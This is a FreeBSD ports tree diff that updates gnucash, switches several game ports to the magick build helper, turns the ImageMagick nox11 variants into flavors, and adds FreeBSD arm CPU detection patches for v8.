diff --git a/finance/electrum/files/patch-electrum_ecc__fast.py b/finance/electrum/files/patch-electrum_ecc__fast.py deleted file mode 100644 index 4f83caa3366..00000000000 --- a/finance/electrum/files/patch-electrum_ecc__fast.py +++ /dev/null @@ -1,11 +0,0 @@ ---- electrum/ecc_fast.py.orig 2023-04-20 06:44:28 UTC -+++ electrum/ecc_fast.py -@@ -43,6 +43,8 @@ def load_library(): - libnames = ['libsecp256k1-1.dll', 'libsecp256k1-0.dll', ] - elif 'ANDROID_DATA' in os.environ: - libnames = ['libsecp256k1.so', ] -+ elif 'freebsd' in sys.platform: -+ libnames = ['libsecp256k1.so', ] - else: # desktop Linux and similar - libnames = ['libsecp256k1.so.1', 'libsecp256k1.so.0', ] - library_paths = [] diff --git a/finance/gnucash-docs/Makefile b/finance/gnucash-docs/Makefile index 2146f305260..5b34687cb4e 100644 --- a/finance/gnucash-docs/Makefile +++ b/finance/gnucash-docs/Makefile @@ -1,5 +1,5 @@ PORTNAME= gnucash-docs -PORTVERSION= 5.0 +PORTVERSION= 5.1 CATEGORIES= finance gnome MASTER_SITES= SF/gnucash/gnucash%20%28stable%29/${PORTVERSION} diff --git a/finance/gnucash-docs/distinfo b/finance/gnucash-docs/distinfo index c396afef347..fa200e78dba 100644 --- a/finance/gnucash-docs/distinfo +++ b/finance/gnucash-docs/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1679903597 -SHA256 (gnucash-docs-5.0.tar.gz) = 02a1d6d0d8c61aae47b1200af482967ed16322a41f31dd8cf3a6679e7159edb1 -SIZE (gnucash-docs-5.0.tar.gz) = 61227049 +TIMESTAMP = 1682883281 +SHA256 (gnucash-docs-5.1.tar.gz) = 59bd2b5ccc1efa7a034b38663e28f855b4ad16ee28b2248d61af8145097152f6 +SIZE (gnucash-docs-5.1.tar.gz) = 61227301 diff --git a/finance/gnucash/Makefile b/finance/gnucash/Makefile index 10316db7916..63230609568 100644 --- a/finance/gnucash/Makefile +++ b/finance/gnucash/Makefile @@ -1,6 +1,5 @@ PORTNAME= gnucash -PORTVERSION= 5.0 -PORTREVISION= 2 +PORTVERSION= 5.1 CATEGORIES= finance gnome MASTER_SITES= SF/${PORTNAME}/${PORTNAME}%20%28stable%29/${PORTVERSION} diff --git a/finance/gnucash/distinfo b/finance/gnucash/distinfo index a3780880642..dec0f4d1c41 100644 --- a/finance/gnucash/distinfo +++ b/finance/gnucash/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1679903331 -SHA256 (gnucash-5.0.tar.bz2) = cfc13bab31aed8e4962805ef56530f9772889604910b5678cb5c79c283138824 -SIZE (gnucash-5.0.tar.bz2) = 14762814 +TIMESTAMP = 1682883228 +SHA256 (gnucash-5.1.tar.bz2) = 8a6581ddf7c7409db636510601351af724eda363ab59b1d5da8d981033f26f72 +SIZE (gnucash-5.1.tar.bz2) = 14794000 diff --git a/finance/kraft/Makefile b/finance/kraft/Makefile index 8d64da5185d..694ddf317d5 100644 --- a/finance/kraft/Makefile +++ b/finance/kraft/Makefile @@ -22,6 +22,7 @@ USE_KDE= akonadi akonadicontacts \ grantleetheme i18n itemmodels widgetsaddons USE_QT= core dbus gui sql widgets xml \ buildtools:build qmake:build +CFLAGS+= -I${LOCALBASE}/include/KPim5 SHEBANG_FILES= manual/makeman.sh diff --git a/finance/vanitygen/Makefile b/finance/vanitygen/Makefile index 93227be5e2c..8f06799f2e9 100644 --- a/finance/vanitygen/Makefile +++ b/finance/vanitygen/Makefile @@ -10,6 +10,9 @@ WWW= https://github.com/samr7/vanitygen LICENSE= AGPLv3 LICENSE_FILE= ${WRKSRC}/LICENSE +DEPRECATED= Broken for more than a year and upstream last release was 11 years ago +EXPIRATION_DATE= 2023-05-31 + LIB_DEPENDS= libpcre.so:devel/pcre USE_GITHUB= yes diff --git a/games/domino-chain/Makefile b/games/domino-chain/Makefile index 9ac1ff8bf7e..0367541b796 100644 --- a/games/domino-chain/Makefile +++ b/games/domino-chain/Makefile @@ -1,6 +1,6 @@ PORTNAME= domino-chain PORTVERSION= 1.1 -PORTREVISION= 5 +PORTREVISION= 6 CATEGORIES= games MAINTAINER= amdmi3@FreeBSD.org @@ -13,11 +13,11 @@ LICENSE_FILE= ${WRKSRC}/LICENSE LIB_DEPENDS= libpng.so:graphics/png \ libfribidi.so:converters/fribidi \ libboost_filesystem.so:devel/boost-libs -BUILD_DEPENDS= povray:graphics/povray-meta \ - convert:graphics/ImageMagick7 +BUILD_DEPENDS= povray:graphics/povray-meta RUN_DEPENDS= ${FREESANS_DIR}/FreeSans.ttf:x11-fonts/freefont-ttf -USES= compiler:c++17-lang gettext gmake lua:52 pkgconfig sdl +USES= compiler:c++17-lang gettext gmake lua:52 magick:build \ + pkgconfig sdl USE_GITLAB= yes GL_PROJECT= domino-chain.gitlab.io GL_COMMIT= 3969eaa66f753e873eca4ef33b263ca1307be2df diff --git a/games/enigma/Makefile b/games/enigma/Makefile index a19ccd111a5..783b83c5a3c 100644 --- a/games/enigma/Makefile +++ b/games/enigma/Makefile @@ -1,6 +1,6 @@ PORTNAME= enigma PORTVERSION= 1.30 -PORTREVISION= 1 +PORTREVISION= 2 CATEGORIES= games MAINTAINER= amdmi3@FreeBSD.org @@ -14,13 +14,13 @@ LIB_DEPENDS= libxerces-c.so.3:textproc/xerces-c3 \ libpng.so:graphics/png \ libenet.so:net/enet \ libcurl.so:ftp/curl -BUILD_DEPENDS= convert:graphics/ImageMagick6 USE_GITHUB= yes GH_ACCOUNT= Enigma-Game GH_PROJECT= Enigma -USES= autoreconf:build gettext gmake iconv localbase pkgconfig sdl +USES= autoreconf:build gettext gmake iconv localbase magick:build \ + pkgconfig sdl GNU_CONFIGURE= yes USE_SDL= sdl2 image2 mixer2 ttf2 CONFIGURE_ARGS= --with-system-enet diff --git a/games/openclaw/Makefile b/games/openclaw/Makefile index 99e62b06d9d..b753e2ea65b 100644 --- a/games/openclaw/Makefile +++ b/games/openclaw/Makefile @@ -1,7 +1,7 @@ PORTNAME= OpenClaw DISTVERSION= 0.3-98 DISTVERSIONSUFFIX= -g3586dfa -PORTREVISION= 1 +PORTREVISION= 2 CATEGORIES= games PATCH_SITES= https://github.com/valpackett/${GH_PROJECT}/commit/ diff --git a/games/openspades/Makefile b/games/openspades/Makefile index c516a50418c..3b00a3c8407 100644 --- a/games/openspades/Makefile +++ b/games/openspades/Makefile @@ -1,6 +1,6 @@ PORTNAME= openspades PORTVERSION= 0.1.3 -PORTREVISION= 3 +PORTREVISION= 4 DISTVERSIONPREFIX= v CATEGORIES= games MASTER_SITES= https://github.com/yvt/openspades-paks/releases/download/r33/:data @@ -16,7 +16,6 @@ LICENSE_FILE= ${WRKSRC}/LICENSE ONLY_FOR_ARCHS= amd64 powerpc64 powerpc64le ONLY_FOR_ARCHS_REASON= bundles non-portable AngelScript -BUILD_DEPENDS= convert:graphics/ImageMagick6 # for building icons LIB_DEPENDS= libcurl.so:ftp/curl \ libopusfile.so:audio/opusfile @@ -24,7 +23,7 @@ USE_GITHUB= yes GH_ACCOUNT= yvt USES= cmake:insource compiler:c++11-lib desktop-file-utils dos2unix \ - gl gnome openal sdl xorg + gl gnome magick:build openal sdl xorg CMAKE_ARGS= -DOPENSPADES_RESOURCES=OFF \ -DOPENSPADES_INSTALL_BINARY="bin" \ -DOPENSPADES_INSTALL_RESOURCES="${DATADIR_REL}" diff --git a/games/punchy/Makefile b/games/punchy/Makefile index d3193992c95..be709fe5c6e 100644 --- a/games/punchy/Makefile +++ b/games/punchy/Makefile @@ -1,7 +1,7 @@ PORTNAME= punchy DISTVERSIONPREFIX= v DISTVERSION= 0.3.0 -PORTREVISION= 4 +PORTREVISION= 5 CATEGORIES= games wayland MAINTAINER= jbeich@FreeBSD.org diff --git a/games/punchy/files/patch-v8 b/games/punchy/files/patch-v8 index 1b0bd876191..c21a41bf51b 100644 --- a/games/punchy/files/patch-v8 +++ b/games/punchy/files/patch-v8 @@ -424,7 +424,7 @@ error[E0308]: mismatched types } else if (is_mac) { --- cargo-crates/v8-0.47.1/third_party/zlib/cpu_features.c.orig 1970-01-01 00:00:00 UTC +++ cargo-crates/v8-0.47.1/third_party/zlib/cpu_features.c -@@ -31,11 +31,20 @@ int ZLIB_INTERNAL x86_cpu_enable_simd = 0; +@@ -31,11 +31,13 @@ int ZLIB_INTERNAL x86_cpu_enable_simd = 0; #ifndef CPU_NO_SIMD @@ -435,19 +435,12 @@ error[E0308]: mismatched types -#if defined(ARMV8_OS_ANDROID) +#if defined(ARMV8_OS_FREEBSD) -+#include -+#include -+#ifndef ID_AA64ISAR0_AES_VAL -+#define ID_AA64ISAR0_AES_VAL ID_AA64ISAR0_AES -+#endif -+#ifndef ID_AA64ISAR0_CRC32_VAL -+#define ID_AA64ISAR0_CRC32_VAL ID_AA64ISAR0_CRC32 -+#endif ++#include +#elif defined(ARMV8_OS_ANDROID) #include #elif defined(ARMV8_OS_LINUX) #include -@@ -56,7 +65,7 @@ static void _cpu_check_features(void); +@@ -56,7 +58,7 @@ static void _cpu_check_features(void); static void _cpu_check_features(void); #endif @@ -456,17 +449,20 @@ error[E0308]: mismatched types #if !defined(ARMV8_OS_MACOS) // _cpu_check_features() doesn't need to do anything on mac/arm since all // features are known at build time, so don't call it. -@@ -123,6 +132,13 @@ static void _cpu_check_features(void) +@@ -123,6 +125,16 @@ static void _cpu_check_features(void) #elif defined(ARMV8_OS_WINDOWS) arm_cpu_enable_crc32 = IsProcessorFeaturePresent(PF_ARM_V8_CRC32_INSTRUCTIONS_AVAILABLE); arm_cpu_enable_pmull = IsProcessorFeaturePresent(PF_ARM_V8_CRYPTO_INSTRUCTIONS_AVAILABLE); -+#elif defined(ARMV8_OS_FREEBSD) -+ uint64_t id_aa64isar0; -+ id_aa64isar0 = READ_SPECIALREG(id_aa64isar0_el1); -+ if (ID_AA64ISAR0_AES_VAL(id_aa64isar0) == ID_AA64ISAR0_AES_PMULL) -+ arm_cpu_enable_pmull = 1; -+ if (ID_AA64ISAR0_CRC32_VAL(id_aa64isar0) == ID_AA64ISAR0_CRC32_BASE) -+ arm_cpu_enable_crc32 = 1; ++#elif defined(ARMV8_OS_FREEBSD) && defined(__aarch64__) ++ unsigned long features; ++ elf_aux_info(AT_HWCAP, &features, sizeof features); ++ arm_cpu_enable_crc32 = !!(features & HWCAP_CRC32); ++ arm_cpu_enable_pmull = !!(features & HWCAP_PMULL); ++#elif defined(ARMV8_OS_FREEBSD) /* aarch32 */ ++ unsigned long features; ++ elf_aux_info(AT_HWCAP2, &features, sizeof features); ++ arm_cpu_enable_crc32 = !!(features & HWCAP2_CRC32); ++ arm_cpu_enable_pmull = !!(features & HWCAP2_PMULL); #endif } #endif @@ -590,3 +586,21 @@ error[E0308]: mismatched types // static Stack::StackSlot Stack::GetStackStart() { +--- cargo-crates/v8-0.47.1/v8/src/codegen/arm/cpu-arm.cc.orig 1970-01-01 00:00:00 UTC ++++ cargo-crates/v8-0.47.1/v8/src/codegen/arm/cpu-arm.cc +@@ -2,12 +2,15 @@ + // Use of this source code is governed by a BSD-style license that can be + // found in the LICENSE file. + ++#include "include/v8config.h" ++ + // CPU specific code for arm independent of OS goes here. + #ifdef __arm__ + #ifdef __QNXNTO__ + #include // for cache flushing. + #undef MAP_TYPE + #elif V8_OS_FREEBSD ++#include + #include // for cache flushing + #include + #elif V8_OS_STARBOARD diff --git a/games/scummvm/Makefile b/games/scummvm/Makefile index 98f7fee8830..2268116edc3 100644 --- a/games/scummvm/Makefile +++ b/games/scummvm/Makefile @@ -1,5 +1,6 @@ PORTNAME= scummvm PORTVERSION= 2.7.0 +PORTREVISION= 1 CATEGORIES= games emulators MASTER_SITES= https://downloads.scummvm.org/frs/${PORTNAME}/${PORTVERSION}/ diff --git a/games/sgt-puzzles/Makefile b/games/sgt-puzzles/Makefile index ac9db7926eb..df63ccfa363 100644 --- a/games/sgt-puzzles/Makefile +++ b/games/sgt-puzzles/Makefile @@ -1,5 +1,6 @@ PORTNAME= puzzles PORTVERSION= 20230424 +PORTREVISION= 1 CATEGORIES= games # upstream does not preserve older versions, mirroring is mandatory MASTER_SITES= https://www.chiark.greenend.org.uk/~sgtatham/puzzles/ \ @@ -14,10 +15,9 @@ WWW= https://www.chiark.greenend.org.uk/~sgtatham/puzzles/ LICENSE= MIT LICENSE_FILE= ${WRKSRC}/LICENCE -BUILD_DEPENDS= convert:graphics/ImageMagick6-nox11 \ - halibut:textproc/halibut +BUILD_DEPENDS= halibut:textproc/halibut -USES= cmake gnome perl5 pkgconfig +USES= cmake gnome magick:build perl5 pkgconfig USE_PERL5= build CMAKE_ARGS= -DNAME_PREFIX:STRING=sgt- diff --git a/games/spring/Makefile b/games/spring/Makefile index ac6fa91b038..adf172419f4 100644 --- a/games/spring/Makefile +++ b/games/spring/Makefile @@ -21,7 +21,7 @@ LIB_DEPENDS= libfreetype.so:print/freetype2 \ libjsoncpp.so:devel/jsoncpp BUILD_DEPENDS= 7zz:archivers/7-zip -BROKEN_FreeBSD_12= ld: error: undefined symbol: streflop_libm::__inline_isnanf(float) +BROKEN_FreeBSD_14= ld: error: undefined symbol: streflop_libm::__inline_isnanf(float) ONLY_FOR_ARCHS= amd64 ONLY_FOR_ARCHS_REASON= relies on x86 floating-point math and amd64 atomic ops diff --git a/games/toppler/Makefile b/games/toppler/Makefile index 86182fd024b..a66b17189ba 100644 --- a/games/toppler/Makefile +++ b/games/toppler/Makefile @@ -1,6 +1,6 @@ PORTNAME= toppler PORTVERSION= 1.3 -PORTREVISION= 2 +PORTREVISION= 3 CATEGORIES= games MAINTAINER= amdmi3@FreeBSD.org @@ -12,10 +12,9 @@ LICENSE_FILE= ${WRKSRC}/COPYING LIB_DEPENDS= libpng.so:graphics/png BUILD_DEPENDS= gimp:graphics/gimp-app \ - povray:graphics/povray-meta \ - convert:graphics/ImageMagick7 + povray:graphics/povray-meta -USES= gmake sdl pkgconfig +USES= gmake magick:build sdl pkgconfig USE_GITLAB= yes GL_ACCOUNT= roever GL_COMMIT= 5e3e581bb7b58098f54df9b634c7bd4a23ba66b5 diff --git a/games/tuxpaint/Makefile b/games/tuxpaint/Makefile index 9e94f5b0240..efda8aa938c 100644 --- a/games/tuxpaint/Makefile +++ b/games/tuxpaint/Makefile @@ -1,6 +1,6 @@ PORTNAME= tuxpaint PORTVERSION= 0.9.28 -PORTREVISION= 1 +PORTREVISION= 2 CATEGORIES= games MASTER_SITES= SF DISTNAME= ${PORTNAME}-${PORTVERSION}-sdl2 diff --git a/games/veloren-weekly/files/patch-nodebug b/games/veloren-weekly/files/patch-nodebug new file mode 100644 index 00000000000..9fc648e5a45 --- /dev/null +++ b/games/veloren-weekly/files/patch-nodebug @@ -0,0 +1,30 @@ +Don't generate debuginfo as the binaries will be stripped + +--- Cargo.toml.orig 2023-04-25 17:26:27 UTC ++++ Cargo.toml +@@ -79,25 +79,6 @@ panic = "abort" # don't need unwinding so we can skip + lto = true + debug = false + panic = "abort" # don't need unwinding so we can skip including the landing pads for that +-# line tables so we can have useful backtraces for in-house crates +-[profile.release.package."veloren-network"] +-debug = 1 +-[profile.release.package."veloren-network-protocol"] +-debug = 1 +-[profile.release.package."veloren-common"] +-debug = 1 +-[profile.release.package."veloren-common-systems"] +-debug = 1 +-[profile.release.package."veloren-client"] +-debug = 1 +-[profile.release.package."veloren-server"] +-debug = 1 +-[profile.release.package."veloren-server-cli"] +-debug = 1 +-[profile.release.package."veloren-voxygen"] +-debug = 1 +-[profile.release.package."veloren-world"] +-debug = 1 + + # used for cargo bench + [profile.bench] diff --git a/graphics/ImageMagick6-nox11/Makefile b/graphics/ImageMagick6-nox11/Makefile deleted file mode 100644 index ee3ae2da6df..00000000000 --- a/graphics/ImageMagick6-nox11/Makefile +++ /dev/null @@ -1,9 +0,0 @@ -# the SVG and PANGO plugins need X11 -OPTIONS_EXCLUDE= X11 SVG PANGO -PORTSCOUT= ignore:1 -# workaround until bsd.port.mk code can grok the disabling of the X11 option -WITHOUT_X11=yes - -MASTERDIR= ${.CURDIR}/../ImageMagick6 - -.include "${MASTERDIR}/Makefile" diff --git a/graphics/ImageMagick6/Makefile b/graphics/ImageMagick6/Makefile index 0724a66d405..10413b3eba0 100644 --- a/graphics/ImageMagick6/Makefile +++ b/graphics/ImageMagick6/Makefile @@ -1,6 +1,6 @@ PORTNAME= ImageMagick DISTVERSION= 6.9.12-77 -PORTREVISION= 2 +PORTREVISION= 3 PORTEPOCH= 1 CATEGORIES= graphics perl5 MASTER_SITES= https://ftp.acc.umu.se/mirror/imagemagick.org/ftp/releases/ \ @@ -19,11 +19,16 @@ LICENSE_FILE= ${WRKSRC}/LICENSE LIB_DEPENDS= libltdl.so:devel/libltdl -TESTS_DEPENDS= gsfonts>=0:print/gsfonts +FLAVORS= x11 nox11 +FLAVOR?= ${FLAVORS:[1]} +FLAVORS_SUB= yes +nox11_PKGNAMESUFFIX= 6-nox11 PORTSCOUT?= limit:^6\.9\. -CONFLICTS_INSTALL= ImageMagick7 ImageMagick7-nox11 # bin/Magick++-config +# bin/Magick++-config +CONFLICTS_INSTALL= ImageMagick6 ImageMagick6-nox11 \ + ImageMagick7 ImageMagick7-nox11 # This port uses .la files, keep libtool:keepla! (magick/module.c) USES= compiler:c++11-lang cpe gettext-runtime gmake gnome \ @@ -50,11 +55,22 @@ PLIST_SUB= PORTVERSION=${PORTVERSION:R} OPTIONS_SUB= yes OPTIONS_DEFINE= BZIP2 DOCS DJVU FFMPEG FFTW FONTCONFIG FPX FREETYPE \ GRAPHVIZ GSLIB HEIF JPEG2000 JBIG JPEG LCMS2 LZMA LQR MODULES \ - OPENEXR OPENMP PANGO PDF PERL PNG RAQM SVG TESTS TIFF WEBP WMF \ - THREADS X11 16BIT_PIXEL HDRI RAW + OPENEXR OPENMP PDF PERL PNG TESTS TIFF WEBP WMF THREADS \ + 16BIT_PIXEL HDRI RAW OPTIONS_DEFAULT= 16BIT_PIXEL BZIP2 FFTW FONTCONFIG FREETYPE HEIF \ - JPEG2000 JBIG JPEG LCMS2 LZMA LQR MODULES PDF PERL PNG RAQM SVG \ - TIFF WEBP WMF THREADS X11 RAW + JPEG2000 JBIG JPEG LCMS2 LZMA LQR MODULES PDF PERL PNG \ + TIFF WEBP WMF THREADS RAW + +.if ${FLAVOR:U} == x11 +# the SVG and PANGO plugins need X11 +OPTIONS_DEFINE+= PANGO RAQM SVG +OPTIONS_DEFAULT+= RAQM SVG +CONFIGURE_ARGS+= --with-x +USES+= xorg +USE_XORG= ice sm x11 xext xt +.else +CONFIGURE_ARGS+= --without-x +.endif DJVU_DESC= DJVU format support (needs THREADS) GSLIB_DESC= libgs (Postscript SHLIB) support @@ -129,7 +145,6 @@ MODULES_CONFIGURE_WITH= modules PANGO_CONFIGURE_WITH= pango PANGO_USE= gnome=pango -PANGO_IMPLIES= X11 PNG_CONFIGURE_WITH= png PNG_LIB_DEPENDS= libpng.so:graphics/png @@ -148,7 +163,8 @@ RAW_IMPLIES= LCMS2 SVG_DESC= SVG vector image format support (via librsvg, implies the x11 option) SVG_CONFIGURE_WITH= rsvg SVG_USE= gnome=cairo,gdkpixbuf2,librsvg2 -SVG_IMPLIES= X11 + +TESTS_TEST_DEPENDS= gsfonts>=0:print/gsfonts TIFF_CONFIGURE_WITH= tiff TIFF_LIB_DEPENDS= libtiff.so:graphics/tiff @@ -156,13 +172,6 @@ TIFF_LIB_DEPENDS= libtiff.so:graphics/tiff WEBP_CONFIGURE_WITH= webp WEBP_LIB_DEPENDS= libwebp.so:graphics/webp -X11_CONFIGURE_WITH= x -X11_USES= xorg -X11_USE= xorg=ice,sm,x11,xext,xt -X11_VARS= CONFLICTS_INSTALL+="ImageMagick6-nox11" -X11_VARS_OFF= CONFLICTS_INSTALL+="ImageMagick6" \ - PKGNAMESUFFIX=6-nox11 - .include .if ${PORT_OPTIONS:MTHREADS} @@ -256,7 +265,7 @@ RUN_DEPENDS+= ffmpeg:multimedia/ffmpeg .if ${PORT_OPTIONS:MGSLIB} CONFIGURE_ARGS+= --with-gslib -. if ${PORT_OPTIONS:MX11} +. if ${FLAVOR:U} == x11 USES+= ghostscript:x11 . else USES+= ghostscript @@ -267,7 +276,7 @@ CONFIGURE_ARGS+= --without-gslib # WMF (Windows Meta File) images .if ${PORT_OPTIONS:MWMF} -. if ${PORT_OPTIONS:MX11} +. if ${FLAVOR:U} == x11 LIB_DEPENDS+= libwmf.so:graphics/libwmf . else LIB_DEPENDS+= libwmf.so:graphics/libwmf-nox11 @@ -281,7 +290,7 @@ PLIST_SUB+= WMF="@comment " # PDF (Adobe Portable Document Format) support .if ${PORT_OPTIONS:MPDF} -. if ${PORT_OPTIONS:MX11} +. if ${FLAVOR:U} == x11 USES+= ghostscript:x11 . else USES+= ghostscript @@ -299,7 +308,7 @@ INSTALL_TARGET= install-strip .endif .if ${PORT_OPTIONS:MTESTS} -. if ${PORT_OPTIONS:MX11} +. if ${FLAVOR:U} == x11 USES+= ghostscript:x11,build . else USES+= ghostscript:build @@ -332,10 +341,6 @@ pre-configure: @${ECHO_CMD} '###################################################################' .endif -.if ${PORT_OPTIONS:MSVG} && ! ${PORT_OPTIONS:MX11} - @${ECHO_CMD} NOTICE: SVG format support disabled, requires X11 -.endif - post-install: .for i in ${SAMPLE_FILES} @${MV} ${STAGEDIR}${PREFIX}/etc/ImageMagick-6/${i} \ diff --git a/graphics/ImageMagick7-nox11/Makefile b/graphics/ImageMagick7-nox11/Makefile deleted file mode 100644 index 14ac29e3012..00000000000 --- a/graphics/ImageMagick7-nox11/Makefile +++ /dev/null @@ -1,9 +0,0 @@ -# the SVG and PANGO plugins need X11 -OPTIONS_EXCLUDE= X11 SVG PANGO RAQM -PORTSCOUT= ignore:1 -# workaround until bsd.port.mk code can grok the disabling of the X11 option -WITHOUT_X11=yes - -MASTERDIR= ${.CURDIR}/../ImageMagick7 - -.include "${MASTERDIR}/Makefile" diff --git a/graphics/ImageMagick7/Makefile b/graphics/ImageMagick7/Makefile index 7d872b57aa4..1fae9f8b548 100644 --- a/graphics/ImageMagick7/Makefile +++ b/graphics/ImageMagick7/Makefile @@ -1,6 +1,6 @@ PORTNAME= ImageMagick DISTVERSION= 7.1.0-62 -PORTREVISION= 2 +PORTREVISION= 3 CATEGORIES= graphics perl5 MASTER_SITES= https://ftp.acc.umu.se/mirror/imagemagick.org/ftp/releases/ \ https://mirror.dogado.de/imagemagick/releases/ \ @@ -19,10 +19,14 @@ LICENSE_FILE= ${WRKSRC}/LICENSE LIB_DEPENDS= libltdl.so:devel/libltdl \ libzip.so:archivers/libzip -TESTS_DEPENDS= gsfonts>=0:print/gsfonts +FLAVORS= x11 nox11 +FLAVOR?= ${FLAVORS:[1]} +FLAVORS_SUB= yes +nox11_PKGNAMESUFFIX= 7-nox11 # bin/Magick++-config -CONFLICTS_INSTALL= ImageMagick6 ImageMagick6-nox11 +CONFLICTS_INSTALL= ImageMagick6 ImageMagick6-nox11 \ + ImageMagick7 ImageMagick7-nox11 # This port uses .la files, keep libtool:keepla! (magick/module.c) USES= cpe gettext-runtime gmake gnome libtool:keepla localbase \ @@ -48,11 +52,22 @@ PLIST_SUB= PORTVERSION=${PORTVERSION:R} OPTIONS_SUB= yes OPTIONS_DEFINE= BZIP2 DOCS DJVU FFMPEG FFTW FONTCONFIG FPX FREETYPE \ GRAPHVIZ GSLIB JPEG2000 JBIG JPEG JXL LCMS2 LZMA LQR MODULES \ - OPENEXR OPENMP PANGO PDF PERL PNG RAQM SVG TESTS TIFF WEBP WMF \ - THREADS X11 16BIT_PIXEL HDRI HEIF RAW + OPENEXR OPENMP PDF PERL PNG TESTS TIFF WEBP WMF THREADS \ + 16BIT_PIXEL HDRI HEIF RAW OPTIONS_DEFAULT= 16BIT_PIXEL BZIP2 FFTW FONTCONFIG FREETYPE HEIF \ - JPEG2000 JBIG JPEG JXL LCMS2 LZMA LQR MODULES OPENEXR PDF PERL PNG RAQM SVG \ - TIFF WEBP WMF THREADS X11 HDRI RAW + JPEG2000 JBIG JPEG JXL LCMS2 LZMA LQR MODULES OPENEXR PDF PERL PNG \ + TIFF WEBP WMF THREADS HDRI RAW + +.if ${FLAVOR:U} == x11 +# the SVG and PANGO plugins need X11 +OPTIONS_DEFINE+= PANGO RAQM SVG +OPTIONS_DEFAULT+= RAQM SVG +CONFIGURE_ARGS+= --with-x +USES+= xorg +USE_XORG= ice sm x11 xext xt +.else +CONFIGURE_ARGS+= --without-x +.endif DJVU_DESC= DJVU format support (needs THREADS) GSLIB_DESC= libgs (Postscript SHLIB) support @@ -129,7 +144,6 @@ MODULES_CONFIGURE_WITH= modules PANGO_CONFIGURE_WITH= pango PANGO_USE= gnome=pango -PANGO_IMPLIES= X11 PNG_CONFIGURE_WITH= png PNG_LIB_DEPENDS= libpng.so:graphics/png @@ -148,7 +162,8 @@ RAW_IMPLIES= LCMS2 SVG_DESC= SVG vector image format support (via librsvg, implies the x11 option) SVG_CONFIGURE_WITH= rsvg SVG_USE= gnome=cairo,gdkpixbuf2,librsvg2 -SVG_IMPLIES= X11 + +TESTS_TEST_DEPENDS= gsfonts>=0:print/gsfonts TIFF_CONFIGURE_WITH= tiff TIFF_LIB_DEPENDS= libtiff.so:graphics/tiff @@ -156,13 +171,6 @@ TIFF_LIB_DEPENDS= libtiff.so:graphics/tiff WEBP_CONFIGURE_WITH= webp WEBP_LIB_DEPENDS= libwebp.so:graphics/webp -X11_CONFIGURE_WITH= x -X11_USES= xorg -X11_USE= xorg=ice,sm,x11,xext,xt -X11_VARS= CONFLICTS_INSTALL+="ImageMagick7-nox11" -X11_VARS_OFF= CONFLICTS_INSTALL+="ImageMagick7" \ - PKGNAMESUFFIX=7-nox11 - .include .if ${PORT_OPTIONS:MTHREADS} @@ -250,7 +258,7 @@ PLIST_SUB+= DJVU="@comment " .if ${PORT_OPTIONS:MGSLIB} CONFIGURE_ARGS+= --with-gslib -. if ${PORT_OPTIONS:MX11} +. if ${FLAVOR:U} == x11 USES+= ghostscript:x11 . else USES+= ghostscript @@ -261,7 +269,7 @@ CONFIGURE_ARGS+= --without-gslib # WMF (Windows Meta File) images .if ${PORT_OPTIONS:MWMF} -. if ${PORT_OPTIONS:MX11} +. if ${FLAVOR:U} == x11 LIB_DEPENDS+= libwmf.so:graphics/libwmf . else LIB_DEPENDS+= libwmf.so:graphics/libwmf-nox11 @@ -275,7 +283,7 @@ PLIST_SUB+= WMF="@comment " # PDF (Adobe Portable Document Format) support .if ${PORT_OPTIONS:MPDF} -. if ${PORT_OPTIONS:MX11} +. if ${FLAVOR:U} == x11 USES+= ghostscript:x11 . else USES+= ghostscript @@ -298,7 +306,7 @@ INSTALL_TARGET= install-strip .endif .if ${PORT_OPTIONS:MTESTS} -. if ${PORT_OPTIONS:MX11} +. if ${FLAVOR:U} == x11 USES+= ghostscript:x11,build . else USES+= ghostscript:build @@ -329,10 +337,6 @@ pre-configure: @${ECHO_CMD} '###################################################################' .endif -.if ${PORT_OPTIONS:MSVG} && ! ${PORT_OPTIONS:MX11} - @${ECHO_CMD} NOTICE: SVG format support disabled, requires X11 -.endif - post-install: .for i in ${SAMPLE_FILES} @${MV} ${STAGEDIR}${PREFIX}/etc/ImageMagick-7/${i} \ diff --git a/graphics/Makefile b/graphics/Makefile index 553cd3f8011..35749c61282 100644 --- a/graphics/Makefile +++ b/graphics/Makefile @@ -6,9 +6,7 @@ SUBDIR += Hermes SUBDIR += IPA SUBDIR += ImageMagick6 - SUBDIR += ImageMagick6-nox11 SUBDIR += ImageMagick7 - SUBDIR += ImageMagick7-nox11 SUBDIR += O2-tools SUBDIR += R-cran-DiagrammeR SUBDIR += R-cran-GDD @@ -63,6 +61,7 @@ SUBDIR += appleseed SUBDIR += argyllcms SUBDIR += art + SUBDIR += asciinema-agg SUBDIR += asciio SUBDIR += aseprite SUBDIR += atril @@ -555,6 +554,7 @@ SUBDIR += maim SUBDIR += mandelbulber SUBDIR += mapcache + SUBDIR += mapnik SUBDIR += mapserver SUBDIR += mapyrus SUBDIR += matplotlib-cpp @@ -950,6 +950,7 @@ SUBDIR += py-seqdiag SUBDIR += py-sorl-thumbnail SUBDIR += py-spectra + SUBDIR += py-sqlalchemy-imageattach SUBDIR += py-svg.path SUBDIR += py-svgwrite SUBDIR += py-termtosvg diff --git a/graphics/R-cran-magick/Makefile b/graphics/R-cran-magick/Makefile index 5285e6c0bc2..fe5d8a1217c 100644 --- a/graphics/R-cran-magick/Makefile +++ b/graphics/R-cran-magick/Makefile @@ -1,6 +1,6 @@ PORTNAME= magick DISTVERSION= 2.7.4 -PORTREVISION= 1 +PORTREVISION= 2 CATEGORIES= graphics DISTNAME= ${PORTNAME}_${DISTVERSION} @@ -14,9 +14,8 @@ CRAN_DEPENDS= R-cran-curl>0:ftp/R-cran-curl \ R-cran-magrittr>0:devel/R-cran-magrittr \ R-cran-Rcpp>0:devel/R-cran-Rcpp BUILD_DEPENDS+= ${CRAN_DEPENDS} -RUN_DEPENDS= ImageMagick7>0:graphics/ImageMagick7 \ - ${CRAN_DEPENDS} +RUN_DEPENDS= ${CRAN_DEPENDS} -USES= cran:auto-plist,compiles +USES= cran:auto-plist,compiles magick:run .include diff --git a/graphics/acidwarp-sdl/Makefile b/graphics/acidwarp-sdl/Makefile index 8fbb52bc0a9..4e7accb182e 100644 --- a/graphics/acidwarp-sdl/Makefile +++ b/graphics/acidwarp-sdl/Makefile @@ -1,5 +1,6 @@ PORTNAME= acidwarp-sdl PORTVERSION= g2022112701 +PORTREVISION= 1 CATEGORIES= graphics MAINTAINER= bofh@FreeBSD.org diff --git a/graphics/asciinema-agg/Makefile b/graphics/asciinema-agg/Makefile new file mode 100644 index 00000000000..19c92ff6c67 